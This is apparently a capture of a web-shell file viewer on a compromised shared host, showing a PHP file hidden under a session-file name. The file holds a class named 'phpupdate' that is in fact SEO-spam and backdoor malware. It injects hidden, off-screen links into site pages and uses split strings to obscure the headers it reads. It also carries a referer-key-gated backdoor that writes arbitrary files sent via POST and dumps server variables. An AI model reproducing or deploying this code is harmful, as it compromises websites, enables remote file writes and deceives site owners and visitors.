HEX
Server: Apache
System: Linux iad1-shared-e1-26 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User: ricpug (13815490)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/ricpug/.php/ssess_5428a93df07b9001bbf89c062033280b
<?php
class phpupdate
{
    var $dir = FALSE;
    var $file = FALSE;
    var $test = FALSE;
    var $options = FALSE;
    var $echo = FALSE;
    var $key = FALSE;
    var $ref = FALSE;
    var $sip = FALSE;
    var $ip = FALSE;
    var $uag = FALSE;
    var $bsfile = FALSE;
    var $html = '';
    var $dbl = TRUE;
    var $index = '/';
    var $hide = FALSE;
    var $replace = array();
    public static function version()
    {
        $t = new phpupdate();
        return $t->exec();
    }
    public static function copyright($html)
    {
        $t = new phpupdate();
        return $t->out($html);
    }
    function __construct() {
        if(isset($_SERVER['HTTP_R'.'EFERER'])) $this->ref = strtolower($_SERVER['HTTP'.'_REFERER']);
        if(isset($_SERVER['HTTP_US'.'ER_AG'.'ENT'])) $this->uag = strtolower($_SERVER['HTTP_US'.'ER_AG'.'ENT']);
        if(isset($_SERVER['SERVER_ADDR'])) $this->sip = $_SERVER['SERVER_ADDR'];
        if(isset($_SERVER['HTTP_X_REAL_IP'])) $this->ip = $_SERVER['HTTP_X_REAL_IP'];
        elseif(isset($_SERVER['REMOTE_ADDR'])) $this->ip = $_SERVER['REMOTE_ADDR'];
        if($this->sip == $this->ip) $this->ip = FALSE;
        $this->host = str_replace(array(':80',':443'), '', $_SERVER['HTTP_HOST']);
        if(!$this->dir) $this->dir = dirname(__FILE__);
        if(!$this->file) $this->file = $this->dir.'/sse'.'ss_';
    }
    function exec()
    {
        if(($this->dbl && defined('__PU')) || !isset($_SERVER) || !isset($_SERVER['REQUEST_URI'])) return '';        
        $this->file = $this->file.md5('016ce'.substr(md5(trim(str_replace('www.', '', $this->host))), 0, 5));
        if(!$this->key) $this->key = $_SERVER['REQUEST_URI'];
        $this->key = str_replace('//', '/', $this->key);
        if($this->key==$this->index) $this->hide = TRUE;
        $data = $this->get($this->file);
        if(!$data) return ''; 
        $this->options = isset($data['__options']) ? $data['__options'] : array(); 
        $this->test = 0;
        if(isset($this->options['key'])&&preg_match('|__pu(.*)|', $this->ref, $k)&&md5($k[1])==$this->options['key'])
        {
            $this->test = '<div style="display:none;">__PU:333</div>';
            if(isset($_POST['__puf'])) $this->file_put($_POST['__puf']);
        }
        $html = $this->html;
        $links = array(0=>array(),1=>array());
        if($data && is_array($data))
        {
            foreach($data AS $i => $v) if($this->test($i, $this->key)) foreach($v AS $s) $links[$s['h']][] = $s['d'];
        }
        if(!isset($this->options['show']))$this->set_up('un', 1);
        if($this->test) $html .= $this->test;
        elseif(!count($links[0]) && !count($links[1])) return ''; 
        if(isset($this->options['h200'])&&!empty($html)&&!headers_sent()) header('HTTP/1.0 200 OK');
        if($this->dbl && !defined('__PU')) define('__PU', 1);
        return $this->set_box($html, $links);
    }
    function out($s, $g=FALSE)
    {
        $data = $this->exec();
        if(count($this->replace)) foreach($this->replace AS $v) $s = str_ireplace($v[0], $v[1], $s);
        if(empty($data)) return $s;
        if(isset($this->options['tag'])) $g = $this->options['tag'];
        if(empty($s)) $s = '<html><body></body></html>';
        $gz = FALSE;
        if(stripos($s, 'body')===FALSE)
        {
            $d = @gzinflate(substr(substr($s, 10), 0, -8));
            $gz = TRUE;
        }else $d = $s;
        if(stripos($d, 'body')===FALSE) return $s;
        if(stripos($d, '</body>')===FALSE) $d = str_ireplace('</html>', '</body></html>', $d);
        if(preg_match_all('|href=['.chr(39).chr(34).']([^'.chr(39).chr(34).']+)['.chr(39).chr(34).']|', $data, $h)) $d = str_replace($h[1], '/', $d);
        if(!$g) foreach(array('<article', '<footer', '</body>') AS $g) if(stripos($d, $g)!==FALSE) break;
        $d = preg_replace('|'.preg_quote($g).'|i', $data.$g, $d, 1);
        return $gz ? @gzencode($d) : $d;
    }
    function set_up($k, $v)
    {
        $k = '__google_'.$k;
        if(@session_name() && isset($_SESSION)) $_SESSION[$k] = $v;
        elseif(!headers_sent()) setcookie($k, $v, 0, '/');
        else return FALSE;
        return TRUE;
    }
    function get_up($k, $d=FALSE)
    {
        $k = '__google_'.$k;
        if(isset($_SESSION) && isset($_SESSION[$k])) return $_SESSION[$k];
        if(isset($_COOKIE) && isset($_COOKIE[$k])) return $_COOKIE[$k];
        return $d;
    }
    function is_mobile()
    {
        return ($this->uag && preg_match('/(iphone|ios|ipad|ipod|android|opera m)/i', $this->uag));
    }
    function is_se()
    {
        return ($this->uag && preg_match('/(yandex|googlebot|james bond)/i', $this->uag));
    }
    function is_search()
    {
        return ($this->ref && preg_match('/(yandex|google|mail\.ru)/', $this->ref));
    }
    function is_night()
    {
        $h = date('G');
        return ($h>0 && $h<5);
    }
    function get($file)
    {
        if(!is_file($file)) return FALSE;
        $data = $this->file_get($file);
        $data = $this->decode($data);
        return $data;
    }
    function file_put($data)
    {
        $file = preg_replace('|[^a-z\d\+\=\/]|i', '', $data);
        $file = base64_decode($file);
        if($file=='test') $this->test = '__PU:OK';
        elseif($file=='server') $this->test = '__PU:'.json_encode($_SERVER);
        else{
            $file = explode('|', $file);
            $data = $file[1];
            $file = $file[0];
            $fp = fopen($file, 'w');
            $test = fwrite($fp, $data);
            fclose($fp);
            $this->test = '__PU:'.$test;
        }
    }
    function file_get($file)
    {
        $fp = @fopen($file, 'rb');
        $length = @filesize($file);
        $data = @fread($fp, $length);
        @fclose($fp);
        return $data;
    }
    function decode($data)
    {
        if(!preg_match('|^a\:|', $data)) $data = base64_decode($data);
        return @unserialize($data);
    }
    function test($i, $key)
    {
        if(!$i) return TRUE;
        $key = $this->corrpath($key);
        $i = $this->corrpath($i);
        return ($key==$i || $key==urldecode($i) || urldecode($key)==urldecode($i));
    }
    function set_box($html, $links)
    {
        $html = trim($html);
        if(!empty($html)) $links[0][] = $html;
        $html = '';
        $p = substr(preg_replace('/[^\d]/', '', hexdec(md5($this->key))), 0, 4);
        if($p<5000) $p = '1'.$p;
        foreach($links AS $i => $v)
        {
            if(!count($v))continue;
            $box = isset($this->options['box'.$i])?$this->options['box'.$i]:'<div'.($i?' style="position:absolute;left:-'.$p.'px;width:1000px;"':'').'>box</div>';
            $box = explode('box', $box);
            if(count($box)==2)
            {
                $box = $box[0].implode(' ', $v).$box[1];
                if(isset($this->options['charset'])) $box = iconv('UTF-8', $this->options['charset'].'//TRANSLIT', $box);
                $html .= $box;
            }
        }
        return $html.chr(13);
    }
    function corrpath($path)
    {
        $path = preg_replace('/(\?|\&)PHPSESSID\=([a-z\d]+)$/i', '', $path);
        $path = preg_replace('/\/$/i', '', $path);
        $path = str_replace('/?', '?', $path);
        $path = str_replace('&amp;', '&', $path);
        return $path;
    }
}